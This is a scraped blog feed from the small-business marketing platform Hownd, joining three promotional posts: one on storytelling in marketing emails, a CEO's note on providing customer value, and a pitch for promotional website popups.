After a year of striving to boost his clientele, Bob stumbled upon a challenge. Crafting commercial emails, compelling titles, and calls to action were foreign concepts to him. The art of messaging, positioning a motto, and attracting customers seemed more complex than he had anticipated.

The Power of Storytelling in Marketing

You want to know what happens to Bob. You want to know how it relates to you and how he solved his problem.

In this post, we’ll examine the power of storytelling to engage your audience.

Why Storytelling Works

Introducing problem and solution-based content can engage your customers like never before. The suspense intrigues them, keeping them hooked till the end.

Unlike the self-serving, company-focused emails that flood the average American’s inbox, storytelling offers a fresh and unique approach. It’s not just about suspense; it’s about connecting with your customers on a personal level.

The Perfect Storytelling Recipe

Creating a compelling story requires key ingredients:

  • A hero (like Bob)
  • A goal (Bob’s dream restaurant)
  • An obstacle (marketing challenges)
  • A mentor (a marketing expert or tool)
  • A moral (lessons learned)

When we hear a story, our brains release oxytocin, a hormone associated with empathy, trust, and bonding, making us naturally inclined towards stories. Despite processing around 100,000 digital words daily, 92% of us are more drawn to internalizing information through storytelling. This connection is further enhanced by the release of dopamine, which activates parts of our brains that help us relate to and remember the stories we hear.

Stand Out with Creativity

Storytelling is more than a marketing tactic; it’s a way to stand out in the crowded space of your customers’ inbox. It’s about engaging your readers with a narrative that resonates with them, creating a deeper connection between them and your business.

Start your marketing campaigns strong by appealing to your audience on a personal level. Just like Bob’s journey from a passionate cook to a savvy business owner, your story can inspire, engage, and motivate your customers.

How Hownd Can Help

If you’re facing challenges similar to Bob’s, Hownd offers solutions tailored for small businesses like Good Eatz. From customer retention to special promotions, our platform provides the tools you need to connect with your customers and grow your business.

Embrace the power of storytelling and let Hownd be the mentor in your success story. Get started with Hownd today and turn your business dreams into reality.

The post The Power of Storytelling To Engage Your Audience appeared first on Hownd®.

]]> Provide Overwhelming Value, or Die Trying https://hownd.com/provide-overwhelming-value-die-trying/ https://hownd.com/provide-overwhelming-value-die-trying/#respond Wed, 03 May 2023 22:09:47 +0000 http://fetchrev.com/?p=6869 “Your true worth is determined by how much more you give in value than you take in payment. “ This is Pindar’s first “Law of Stratospheric Success” from The Go-Giver by Bob Burg and John David Mann, a book that explores the power of giving within realm of business. The five laws enclosed in that book have had an enormous […]

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]]>

tie


“Your true worth is determined by how much more you give in value than you take in payment. “

This is Pindar’s first “Law of Stratospheric Success” from The Go-Giver by Bob Burg and John David Mann, a book that explores the power of giving within realm of business. The five laws enclosed in that book have had an enormous impact on my life and have greatly influenced our approach to doing business here at Hownd.

We’ve taken this concept to heart and have made it one of the primary tenets that we review before every one of our all-hands meetings. We could probably recite it together, it’s so integral to our mission, but that might take it to a cultish level (though maybe that’s not such a bad thing in this case).

Every day we must strive to build value for our customers in everything we do. Or we shouldn’t exist.

This is not some near-sighted value statement that is meant for just our product team or just our customer success team. No, this is meant to be embraced holistically: Across the entire company. Truly everything we do must be focused on how it can ultimately provide and build value for our customers. Or it doesn’t get done. It doesn’t make the cut. Period.

Sure some things just need to get done (like taking out the trash or loading more paper in the printer), but even the minutiae can build value for our customers when viewed from a broader context.

We take our job, our mission, to generate increased revenue and repeat foot traffic so seriously that we’d rather lose a customer than have a local business pay us for something that ultimately doesn’t provide the value that we claim it will or believe it should.

At Hownd, we will always strive to provide more value to our customers than we ever receive in payment. This is our first promise to ourselves and the guiding light that keeps our bearings straight as we sail ahead.

Onwards and Upwards,

Brandon Willey
CEO, Hownd

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]]> https://hownd.com/provide-overwhelming-value-die-trying/feed/ 0 Why You Should Love Promotional Popups https://hownd.com/why-love-popups/ Wed, 19 Apr 2023 20:19:11 +0000 https://hownd.com/?p=13475 Why would anyone love popups? The short answer is – MONEY! We’re talking more money both for you and your customers! But how does that work? If you have a website where people visit online, it’s usually the first real impression they get of who you are as a business. What better way to greet […]

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Why would anyone love popups? The short answer is – MONEY!

We’re talking more money both for you and your customers! But how does that work?

If you have a website where people visit online, it’s usually the first real impression they get of who you are as a business. What better way to greet them than by giving a great offer right away as a thanks for stopping by? 

When your customers take advantage of your offer, they instantly get the savings and you collect the sale. It’s all about making it easy to engage right away, and popups make the most of every eye on your site.

Hownd merchants who utilize website popups see up to 11x the revenue from the Hownd platform each month compared to those not actively utilizing this valuable option for their web traffic, so it really is a no-brainer if you haven’t already started using them. 

If you didn’t already know, a promotional website popup is basically a small window that appears on your website that highlights special offers, discounts, calls-to-action, and more, allowing you to find out who your customers are and offer them incentives to immediately do business with you.

Here’s why promotional website popups can be such a valuable tool to encourage web visitors to share their information and make impulse purchases.

Boost Impulse Purchases:
One of the immediate benefits of a promotional website popup is increasing the quantity of impulse purchases made by visitors to your website. A well-designed popup grabs the attention of visitors and makes it easier to make a purchase while you have their attention. 

Build Email Lists:
Another benefit of a promotional website popup is that it helps you build your email list. By offering a discount or special offer in exchange for a visitor’s email address, you can start building a relationship with them and inform them about future promotions and sales. A large email list is a valuable asset for small merchants, as it gives a direct line of communication to potential customers in perpetuity, well beyond the initial moment of being on your site, increasing the reach of future promotions and communication.

Increase Engagement:
A promotional website popup can also help to increase engagement with your website. By creating urgency, a popup can encourage visitors to take action and engage with your site in a meaningful way. Whether it’s signing up for your email list, making a purchase, or downloading a resource, popups can help to increase engagement and drive conversions.

Easy Updates:
Another great thing about promotional website popups with Hownd is that they can be fully customizable to what you need and update automatically when you refresh your active campaigns. With just a single line of code, you can have an automatically updating popup customized to any current promotions you’re running.  (And, if you have no active promos, the popup will be hidden.)

If you haven’t already set up a website popup to run on your website, you’re missing out on all the potential purchases you could be getting with the visits your website gets everyday. 

This valuable tool can significantly boost your sales and help you build your customer base. Taking advantage of impulse buys, building email lists, increasing engagement and customer loyalty, all while being quick and easy to implement – there’s no reason not to be taking advantage of popups to meet your online sales goals.

If you’re not using popups on your website already, now is the time to start!

Check out our self-service on how to create a website popup with Hownd or schedule a call with a member of our team. 

We can’t wait to watch your business grow!

See also:

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